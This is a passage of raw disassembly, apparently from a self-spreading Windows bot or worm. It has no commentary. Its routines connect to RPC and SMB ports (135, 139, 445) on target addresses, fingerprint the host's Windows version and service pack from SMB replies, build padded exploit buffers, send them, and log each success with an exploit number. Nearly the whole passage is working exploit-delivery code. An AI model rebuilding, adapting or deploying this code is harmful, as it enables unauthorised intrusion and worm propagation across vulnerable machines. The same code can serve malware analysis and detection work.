		pop	edi
		pop	esi
		leave
		retn
sub_403970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B9B	proc near		; CODE XREF: sub_402675+174p
					; sub_406D7F+1C5p
					; DATA XREF: ...

var_101C	= byte ptr -101Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_B4		= dword	ptr  0BCh
arg_BC		= dword	ptr  0C4h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 101Ch
		call	sub_429B60
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		push	1
		push	eax
		call	sub_404525
		mov	esi, eax
		xor	ebx, ebx
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_403BCF
		lea	eax, [ebp+arg_8]
		push	5
		push	eax
		call	sub_404525
		pop	ecx
		mov	esi, eax
		pop	ecx


loc_403BCF:				; CODE XREF: sub_403B9B+23j
		cmp	esi, 9
		jz	loc_403CAA
		push	ebx
		push	1
		push	2
		call	dword_456FD0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403CAA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	87h
		call	dword_456F38	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_8]
		push	eax
		call	dword_456F7C	; inet_addr
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		sub	esp, 0C4h
		lea	esi, [ebp+arg_8]
		push	31h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403970
		mov	edi, eax
		add	esp, 0CCh
		cmp	edi, ebx
		mov	[ebp+var_8], edi
		jnz	short loc_403C4E
		push	[ebp+var_4]
		jmp	short loc_403CA4
; ---------------------------------------------------------------------------


loc_403C4E:				; CODE XREF: sub_403B9B+ACj
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403C9C
		push	ebx
		push	48h
		push	offset dword_43B678
		push	esi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403C9C
		push	ebx
		lea	eax, [ebp+var_101C]
		push	1000h
		push	eax
		push	esi
		call	dword_456F58	; recv
		push	ebx
		push	[ebp+var_C]
		push	edi
		push	esi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403CB1


loc_403C9C:				; CODE XREF: sub_403B9B+C6j
					; sub_403B9B+DAj
		push	edi
		call	sub_4298F2
		pop	ecx
		push	esi


loc_403CA4:				; CODE XREF: sub_403B9B+B1j
		call	dword_456FF0	; closesocket


loc_403CAA:				; CODE XREF: sub_403B9B+37j
					; sub_403B9B+4Ej
		xor	eax, eax
		jmp	loc_403D7F
; ---------------------------------------------------------------------------


loc_403CB1:				; CODE XREF: sub_403B9B+FFj
		push	7D0h
		call	dword_437190	; Sleep
		movzx	eax, word_44399E
		push	eax
		lea	esi, [ebp+arg_8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B6E
		add	esp, 0C8h
		test	eax, eax
		jz	short loc_403D60
		mov	edx, [ebp+arg_B4]
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	eax, edx
		mov	esi, offset aSSSExD ; "%s %s ->	%s (Ex:	%d)"
		shl	eax, 6
		lea	ecx, dword_43A380[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+arg_C4], ebx
		mov	ecx, [ecx]
		jz	short loc_403D34
		cmp	[ebp+arg_BC], ebx
		jnz	short loc_403D3C
		push	ecx
		lea	ecx, [ebp+arg_8]
		lea	eax, dword_43A357[eax]
		push	ecx
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		mov	edx, [ebp+arg_B4]
		add	esp, 1Ch


loc_403D34:				; CODE XREF: sub_403B9B+16Dj
		cmp	[ebp+arg_BC], ebx
		jz	short loc_403D60


loc_403D3C:				; CODE XREF: sub_403B9B+175j
		shl	edx, 6
		lea	eax, [ebp+arg_8]
		push	dword_43A380[edx]
		push	eax
		lea	eax, dword_43A357[edx]
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 1Ch


loc_403D60:				; CODE XREF: sub_403B9B+146j
					; sub_403B9B+19Fj
		push	[ebp+var_8]
		call	sub_4298F2
		pop	ecx
		push	[ebp+var_4]
		call	dword_456FF0	; closesocket
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_401E9E
		xor	eax, eax
		pop	ecx
		inc	eax


loc_403D7F:				; CODE XREF: sub_403B9B+111j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403B9B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 197Ch
		call	sub_429B60
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		call	sub_429760
		push	2
		lea	eax, [ebp+10h]
		pop	esi
		push	eax
		mov	[ebp-14h], si
		call	sub_41E3EC
		add	esp, 10h
		mov	[ebp-10h], eax
		push	87h
		call	dword_4372C4	; ntohs
		push	edi
		push	edi
		push	edi
		push	6
		push	1
		push	esi
		mov	[ebp-12h], ax
		call	dword_4372C8	; WSASocketA
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp-4], ebx
		jnz	short loc_403DE5
		push	edi
		call	dword_437174	; ExitThread


loc_403DE5:				; CODE XREF: .text:00403DDCj
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4372CC	; connect
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_403DFE
		call	dword_437174	; ExitThread


loc_403DFE:				; CODE XREF: .text:00403DF6j
		push	48h
		push	offset dword_43BBA0
		push	ebx
		call	dword_4372D0	; send
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_403E18
		call	dword_437174	; ExitThread


loc_403E18:				; CODE XREF: .text:00403E10j
		lea	eax, [ebp-197Ch]
		push	1000h
		push	eax
		push	ebx
		call	dword_4372D4	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403E37
		push	edi
		call	dword_437174	; ExitThread


loc_403E37:				; CODE XREF: .text:00403E2Ej
		mov	ebx, 168h


loc_403E3C:				; CODE XREF: .text:00403E51j
		push	5Ah
		push	41h
		call	sub_41E415
		mov	[ebp+edi-17Ch],	al
		inc	edi
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jl	short loc_403E3C
		push	0Ah
		lea	eax, [ebp-90h]
		push	offset loc_43BC90
		push	eax
		call	sub_429420
		push	esi
		lea	eax, [ebp-86h]
		push	offset loc_43BCE0
		push	eax
		call	sub_429420
		push	4
		lea	eax, [ebp-82h]
		pop	edi
		push	edi
		push	offset loc_43BCD8
		push	eax
		call	sub_429420
		push	esi
		lea	eax, [ebp-4Ah]
		push	offset loc_43BCDC
		push	eax
		call	sub_429420
		push	edi
		lea	eax, [ebp-46h]
		push	(offset	loc_43BCD3+1)
		push	eax
		call	sub_429420
		push	0Bh
		lea	eax, [ebp-42h]
		push	offset loc_43BC84
		push	eax
		call	sub_429420
		add	esp, 48h
		lea	eax, [ebp-97Ch]
		push	18h
		push	offset dword_43BBEC
		push	eax
		call	sub_429420
		push	44h
		lea	eax, [ebp-964h]
		push	offset dword_43BC08
		push	eax
		call	sub_429420
		mov	esi, 90h
		push	20h
		lea	eax, [ebp-920h]
		push	esi
		push	eax
		call	sub_429760
		push	edi
		lea	eax, [ebp-900h]
		push	offset loc_43BC9C
		push	eax
		call	sub_429420
		push	edi
		lea	eax, [ebp-8FCh]
		push	offset loc_43BCD0
		push	eax
		call	sub_429420
		push	edi
		lea	eax, [ebp-8F8h]
		push	offset dword_43BCC8
		push	eax
		call	sub_429420
		add	esp, 48h
		lea	eax, [ebp-8F4h]
		push	edi
		push	offset loc_43BCCC
		push	eax
		call	sub_429420
		push	58h
		lea	eax, [ebp-8F0h]
		push	esi
		push	eax
		call	sub_429760
		push	6
		lea	eax, [ebp-898h]
		push	offset loc_43BCA4
		push	eax
		call	sub_429420
		push	8
		lea	eax, [ebp-892h]
		push	esi
		push	eax
		call	sub_429760
		push	edi
		lea	eax, [ebp-88Ah]
		push	offset loc_43BCAC
		push	eax
		call	sub_429420
		push	edi
		lea	eax, [ebp-886h]
		push	esi
		push	eax
		call	sub_429760
		add	esp, 48h
		lea	eax, [ebp-882h]
		push	6
		push	offset loc_43BCB4
		push	eax
		call	sub_429420
		push	28Eh
		lea	eax, [ebp-87Ch]
		push	esi
		push	eax
		call	sub_429760
		push	158h
		lea	eax, [ebp-5EEh]
		push	offset dword_43A8E8
		push	eax
		call	sub_429420
		lea	eax, [ebp-17Ch]
		push	ebx
		push	eax
		lea	eax, [ebp-496h]
		push	eax
		call	sub_429420
		push	0Ah
		lea	eax, [ebp-32Eh]
		push	offset off_43BCBC
		push	eax
		call	sub_429420
		push	32h
		lea	eax, [ebp-324h]
		push	offset dword_43BC50
		push	eax
		call	sub_429420
		add	esp, 48h


loc_40400F:				; DATA XREF: .text:0043B3E0o
		xor	ebx, ebx
		mov	eax, 68Ah
		mov	dword ptr [ebp-96Ch], 672h
		push	ebx
		mov	[ebp-974h], eax
		push	eax
		lea	eax, [ebp-97Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4372D0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404044
		push	ebx
		call	dword_437174	; ExitThread


loc_404044:				; CODE XREF: .text:0040403Bj
		movzx	eax, word_44399E
		push	eax
		lea	esi, [ebp+10h]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B6E
		add	esp, 0C8h
		test	eax, eax
		jz	loc_4040F7
		push	7D0h
		call	dword_437190	; Sleep
		mov	edx, [ebp+0BCh]
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	eax, edx
		mov	esi, offset aSSSExD ; "%s %s ->	%s (Ex:	%d)"
		shl	eax, 6
		lea	ecx, dword_43A380[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+0CCh], ebx
		mov	ecx, [ecx]
		jz	short loc_4040CB
		cmp	[ebp+0C4h], ebx
		jnz	short loc_4040D3
		push	ecx
		lea	ecx, [ebp+10h]
		lea	eax, dword_43A357[eax]
		push	ecx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CE4A
		mov	edx, [ebp+0BCh]
		add	esp, 1Ch


loc_4040CB:				; CODE XREF: .text:0040409Fj
		cmp	[ebp+0C4h], ebx
		jz	short loc_4040F7


loc_4040D3:				; CODE XREF: .text:004040A7j
		shl	edx, 6
		lea	eax, [ebp+10h]
		push	dword_43A380[edx]
		push	eax
		lea	eax, dword_43A357[edx]
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_41CDD4
		add	esp, 1Ch


loc_4040F7:				; CODE XREF: .text:00404069j
					; .text:004040D1j
		push	ebx
		lea	eax, [ebp-197Ch]
		push	1000h
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4372D4	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404119
		push	ebx
		call	dword_437174	; ExitThread


loc_404119:				; CODE XREF: .text:00404110j
		push	dword ptr [ebp-4]
		call	dword_4372D8	; closesocket
		lea	eax, [ebp+10h]
		push	eax
		call	sub_401E9E
		pop	ecx
		push	1
		call	dword_437174	; ExitThread

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404134	proc near		; CODE XREF: sub_406D7F+25Fp

var_3020	= byte ptr -3020h
var_2020	= byte ptr -2020h
var_1FFC	= byte ptr -1FFCh
var_1FF0	= byte ptr -1FF0h
var_1EA2	= byte ptr -1EA2h
var_1020	= byte ptr -1020h
var_1018	= dword	ptr -1018h
var_1010	= dword	ptr -1010h
var_FA0		= dword	ptr -0FA0h
var_F9C		= dword	ptr -0F9Ch
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F50		= dword	ptr -0F50h
var_E94		= dword	ptr -0E94h
var_CC0		= dword	ptr -0CC0h
var_CB8		= dword	ptr -0CB8h
var_CB0		= byte ptr -0CB0h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_B4		= dword	ptr  0BCh
arg_BC		= dword	ptr  0C4h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3020h
		call	sub_429B60
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		mov	esi, 0A7h
		push	1
		push	eax
		mov	[ebp+var_C], esi
		call	sub_404525
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		pop	ecx
		jnz	short loc_404170
		lea	eax, [ebp+arg_8]
		push	5
		push	eax
		call	sub_404525
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_404170:				; CODE XREF: sub_404134+2Aj
		cmp	[ebp+var_4], 1
		jz	loc_4044D1
		cmp	[ebp+var_4], 9
		jz	loc_4044D1
		push	6
		push	1
		push	2
		call	dword_456FD0	; socket


loc_404190:				; DATA XREF: peei:0067C95Fo
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jz	loc_4044D1
		push	10h
		lea	eax, [ebp+var_20]
		push	0
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	87h
		call	dword_456F38	; ntohs
		mov	[ebp+var_1E], ax
		lea	eax, [ebp+arg_8]
		push	eax
		call	dword_456F7C	; inet_addr
		mov	[ebp+var_1C], eax
		push	30h
		lea	eax, [ebp+var_2020]
		push	offset off_43C124
		push	eax
		call	sub_429420
		push	esi
		lea	eax, [ebp+var_1FF0]
		push	0FFFFFF90h
		push	eax
		call	sub_429760
		mov	ebx, 158h
		mov	edi, offset dword_43A8E8
		push	ebx
		lea	eax, [ebp+var_1EA2]
		push	edi
		push	eax
		call	sub_429420
		add	esp, 24h
		mov	esi, 2D6h


loc_404210:				; CODE XREF: sub_404134+13Aj
		inc	esi
		push	esi
		call	sub_4297B8
		mov	esi, [ebp+var_C]
		mov	[ebp+var_10], eax
		push	30h
		lea	eax, [ebp+var_2020]
		inc	esi
		push	offset off_43C124
		push	eax
		mov	[ebp+var_C], esi
		call	sub_429420
		push	esi
		lea	eax, [ebp+var_1FF0]
		push	0FFFFFF90h
		push	eax
		call	sub_429760
		push	ebx
		lea	eax, [ebp+esi+var_1FF0]
		push	edi
		push	eax
		call	sub_429420
		push	[ebp+var_10]
		add	esi, 188h
		call	sub_4298F2
		add	esp, 2Ch
		mov	eax, esi
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_404210
		cmp	[ebp+var_4], 3
		jnz	short loc_40428C
		push	4
		lea	eax, [ebp+var_1FFC]
		push	offset dword_43C204
		push	eax
		call	sub_429420
		add	esp, 0Ch


loc_40428C:				; CODE XREF: sub_404134+140j
		cmp	[ebp+var_4], 2
		jnz	short loc_4042A8
		push	4
		lea	eax, [ebp+var_1FFC]
		push	offset dword_43C200
		push	eax
		call	sub_429420
		add	esp, 0Ch


loc_4042A8:				; CODE XREF: sub_404134+15Cj
		push	360h
		lea	eax, [ebp+var_1020]
		push	offset dword_43BD38
		push	eax
		call	sub_429420
		push	10h
		lea	eax, [ebp+var_CC0]
		push	offset dword_43C09C
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_2020]
		push	esi
		push	eax
		lea	eax, [ebp+var_CB0]
		push	eax
		call	sub_429420
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_43C0B0
		lea	eax, [ebp+edi+var_1020]
		push	eax
		call	sub_429420
		add	edi, 3Ch
		push	30h
		push	offset dword_43C0F0
		lea	eax, [ebp+edi+var_1020]
		push	eax
		call	sub_429420
		mov	eax, esi
		add	esp, 3Ch
		cdq
		sub	eax, edx
		push	10h
		sar	eax, 1
		add	[ebp+var_CC0], eax
		add	[ebp+var_CB8], eax
		mov	eax, [ebp+var_1018]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_1018],	eax
		mov	eax, [ebp+var_1010]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+var_FA0]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FA0], eax
		mov	eax, [ebp+var_F9C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F9C], eax
		mov	eax, [ebp+var_F6C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F6C], eax
		mov	eax, [ebp+var_F68]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_E94]
		lea	eax, [eax+esi-0Ch]
		mov	esi, [ebp+var_8]
		mov	[ebp+var_E94], eax
		lea	eax, [ebp+var_20]
		push	eax
		push	esi
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4043C7


loc_4043C1:				; CODE XREF: sub_404134+2A7j
					; sub_404134+2D3j
		push	esi
		jmp	loc_4044CB
; ---------------------------------------------------------------------------


loc_4043C7:				; CODE XREF: sub_404134+28Bj
		xor	ebx, ebx
		push	ebx
		push	48h
		push	offset byte_43BCE8
		push	esi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4043C1
		push	ebx
		lea	eax, [ebp+var_3020]
		push	1000h
		push	eax
		push	esi
		call	dword_456F58	; recv
		add	edi, 30h
		push	ebx
		lea	eax, [ebp+var_1020]
		push	edi
		push	eax
		push	esi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4043C1
		movzx	eax, word_44399E
		push	eax
		lea	esi, [ebp+arg_8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B6E
		add	esp, 0C8h
		test	eax, eax
		jz	short loc_4044AD
		mov	edx, [ebp+arg_B4]
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	eax, edx
		mov	esi, offset aSSSExD ; "%s %s ->	%s (Ex:	%d)"
		shl	eax, 6
		lea	ecx, dword_43A380[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+arg_C4], ebx
		mov	ecx, [ecx]
		jz	short loc_404481
		cmp	[ebp+arg_BC], ebx
		jnz	short loc_404489
		push	ecx
		lea	ecx, [ebp+arg_8]
		lea	eax, dword_43A357[eax]
		push	ecx
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		mov	edx, [ebp+arg_B4]
		add	esp, 1Ch


loc_404481:				; CODE XREF: sub_404134+321j
		cmp	[ebp+arg_BC], ebx
		jz	short loc_4044AD


loc_404489:				; CODE XREF: sub_404134+329j
		shl	edx, 6
		lea	eax, [ebp+arg_8]
		push	dword_43A380[edx]
		push	eax
		lea	eax, dword_43A357[edx]
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 1Ch


loc_4044AD:				; CODE XREF: sub_404134+2FAj
					; sub_404134+353j
		push	ebx
		lea	eax, [ebp+var_3020]
		push	1000h
		push	eax
		push	[ebp+var_8]
		call	dword_456F58	; recv
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044D8


loc_4044CB:				; CODE XREF: sub_404134+28Ej
		call	dword_456FF0	; closesocket


loc_4044D1:				; CODE XREF: sub_404134+40j
					; sub_404134+4Aj ...
		xor	eax, eax


loc_4044D3:				; CODE XREF: sub_404134+3B7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4044D8:				; CODE XREF: sub_404134+395j
		call	dword_456FF0	; closesocket
		lea	eax, [ebp+arg_8]
		push	eax


loc_4044E2:				; DATA XREF: peei:0067C977o
		call	sub_401E9E
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4044D3
sub_404134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044ED	proc near		; CODE XREF: sub_404525+B24p
					; sub_404525+B48p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40451B


loc_4044FE:				; CODE XREF: sub_4044ED+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_42A520
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404521
		inc	esi
		cmp	esi, edi
		jl	short loc_4044FE


loc_40451B:				; CODE XREF: sub_4044ED+Fj
		xor	al, al


loc_40451D:				; CODE XREF: sub_4044ED+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_404521:				; CODE XREF: sub_4044ED+27j
		mov	al, 1
		jmp	short loc_40451D
sub_4044ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404525	proc near		; CODE XREF: sub_403B9B+16p
					; sub_403B9B+2Bp ...

var_263C	= byte ptr -263Ch
var_243C	= byte ptr -243Ch
var_243B	= byte ptr -243Bh
var_243A	= byte ptr -243Ah
var_143C	= byte ptr -143Ch
var_1433	= dword	ptr -1433h
var_1420	= dword	ptr -1420h
var_141C	= dword	ptr -141Ch
var_1411	= word ptr -1411h
var_140D	= byte ptr -140Dh
var_13FA	= byte ptr -13FAh
var_13E4	= dword	ptr -13E4h
var_43C		= byte ptr -43Ch
var_23C		= byte ptr -23Ch
var_1CC		= byte ptr -1CCh
var_140		= byte ptr -140h
var_3C		= byte ptr -3Ch
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 263Ch
		call	sub_429B60
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		dec	eax
		push	edi
		jz	loc_4050C0
		dec	eax
		jz	loc_40509A
		dec	eax
		jz	loc_404DD6
		dec	eax
		jz	loc_404F87
		dec	eax
		jz	loc_404DDD
		dec	eax
		jz	loc_404774
		dec	eax
		jnz	loc_404DD6
		push	6
		push	1
		push	2
		call	dword_456FD0	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	loc_404DD6
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	8Bh
		call	dword_456F38	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_1E], ax
		call	sub_41E3EC
		pop	ecx
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	esi
		call	dword_456EBC	; connect
		cmp	eax, edi
		jz	loc_404DD6
		push	ebx
		push	48h
		push	offset unk_43C298
		push	esi
		call	dword_456F8C	; send
		cmp	eax, edi
		jnz	short loc_4045E5


loc_4045DF:				; CODE XREF: sub_404525+924j
		push	esi
		jmp	loc_404EC3
; ---------------------------------------------------------------------------


loc_4045E5:				; CODE XREF: sub_404525+B8j
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_456F58	; recv
		cmp	eax, edi
		jz	loc_404EC0
		push	ebx
		push	33h
		push	offset dword_43C2E4
		push	[ebp+arg_4]
		call	dword_456F8C	; send
		cmp	eax, edi
		jz	loc_404EC0
		push	ebx
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_456F58	; recv
		cmp	eax, edi
		jz	loc_404EC0
		push	ebx
		push	4Ch
		push	offset dword_43C318
		push	[ebp+arg_4]
		call	dword_456F8C	; send
		cmp	eax, edi
		jz	loc_404EC0
		push	ebx
		lea	eax, [ebp+var_243C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_456F58	; recv
		cmp	eax, edi
		jz	loc_404EC0
		lea	esi, [eax-2]
		mov	[ebp+arg_0], ebx
		cmp	esi, ebx
		jle	loc_404F1F
		lea	edi, [ebp+esi+var_243B]


loc_40467F:				; CODE XREF: sub_404525+19Cj
		cmp	[ebp+arg_0], 4
		jge	loc_404F1F
		cmp	[edi-1], bl
		jnz	short loc_4046BD
		mov	eax, [ebp+arg_0]
		sub	eax, ebx
		jz	short loc_4046AB
		dec	eax
		jz	short loc_4046A3
		dec	eax
		jnz	short loc_4046BA
		lea	eax, [ebp+var_43C]
		jmp	short loc_4046B1
; ---------------------------------------------------------------------------


loc_4046A3:				; CODE XREF: sub_404525+171j
		lea	eax, [ebp+var_23C]
		jmp	short loc_4046B1
; ---------------------------------------------------------------------------


loc_4046AB:				; CODE XREF: sub_404525+16Ej
		lea	eax, [ebp+var_263C]


loc_4046B1:				; CODE XREF: sub_404525+17Cj
					; sub_404525+184j
		push	edi
		push	eax
		call	sub_42A5D0
		pop	ecx
		pop	ecx


loc_4046BA:				; CODE XREF: sub_404525+174j
		inc	[ebp+arg_0]


loc_4046BD:				; CODE XREF: sub_404525+167j
		dec	esi
		dec	edi
		cmp	esi, ebx
		jg	short loc_40467F
		jmp	loc_404F1F
; ---------------------------------------------------------------------------


loc_4046C8:				; CODE XREF: sub_404525+A18j
		lea	eax, [ebp+var_43C]
		push	eax
		push	offset aServicePack1 ; "*Service Pack 1*"
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4046E3
		push	7
		jmp	short loc_40474F
; ---------------------------------------------------------------------------


loc_4046E3:				; CODE XREF: sub_404525+1B8j
		lea	eax, [ebp+var_43C]
		push	eax
		push	offset aServicePack2 ; "*Service Pack 2*"
		call	sub_427B4E
		neg	eax
		sbb	eax, eax
		pop	ecx
		and	eax, 2
		pop	ecx
		add	eax, 6
		jmp	loc_404DD8
; ---------------------------------------------------------------------------


loc_404705:				; CODE XREF: sub_404525+A1Ej
		lea	eax, [ebp+var_23C]
		push	eax
		push	offset aNtLanManager_ ;	"NT LAN	Manager	*.*"
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404F48
		xor	eax, eax
		inc	eax
		jmp	loc_404DD8
; ---------------------------------------------------------------------------


loc_404728:				; CODE XREF: sub_404525+A3Fj
					; sub_404525+A55j
		lea	eax, [ebp+var_23C]
		push	eax
		push	esi
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404755
		lea	eax, [ebp+var_43C]
		push	eax
		push	offset aWindows5_1 ; "Windows 5.1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_404755


loc_40474D:				; CODE XREF: sub_404525+B96j
		push	3


loc_40474F:				; CODE XREF: sub_404525+1BCj
					; sub_404525+899j ...
		pop	eax
		jmp	loc_404DD8
; ---------------------------------------------------------------------------


loc_404755:				; CODE XREF: sub_404525+214j
					; sub_404525+226j
		lea	eax, [ebp+var_23C]
		push	eax
		push	offset aSamba	; "Samba *"
		call	sub_427B4E
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		and	eax, 9
		jmp	loc_404DD8
; ---------------------------------------------------------------------------


loc_404774:				; CODE XREF: sub_404525+37j
		lea	eax, [ebp+var_1CC]
		xor	ebx, ebx
		push	eax
		push	2
		mov	[ebp+var_1], bl
		mov	byte ptr [ebp+arg_4+3],	bl
		call	dword_4372B8	; WSAStartup
		test	eax, eax
		jnz	loc_404DD6
		push	6
		push	1
		push	2
		call	dword_4372BC	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_404DD6
		push	[ebp+arg_0]
		mov	[ebp+var_20], 2
		call	dword_4372C0	; inet_addr
		push	1BDh
		mov	[ebp+var_1C], eax
		call	dword_4372C4	; ntohs
		mov	[ebp+var_1E], ax
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4372CC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		mov	esi, dword_4372D0
		push	ebx
		push	89h
		push	offset dword_43C3B8
		push	edi
		call	esi ; dword_4372D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_404DCF
		push	ebx
		lea	eax, [ebp+var_143C]
		push	1000h
		push	eax
		push	edi
		call	dword_4372D4	; recv
		cmp	eax, 1
		jl	loc_404DCF
		push	ebx
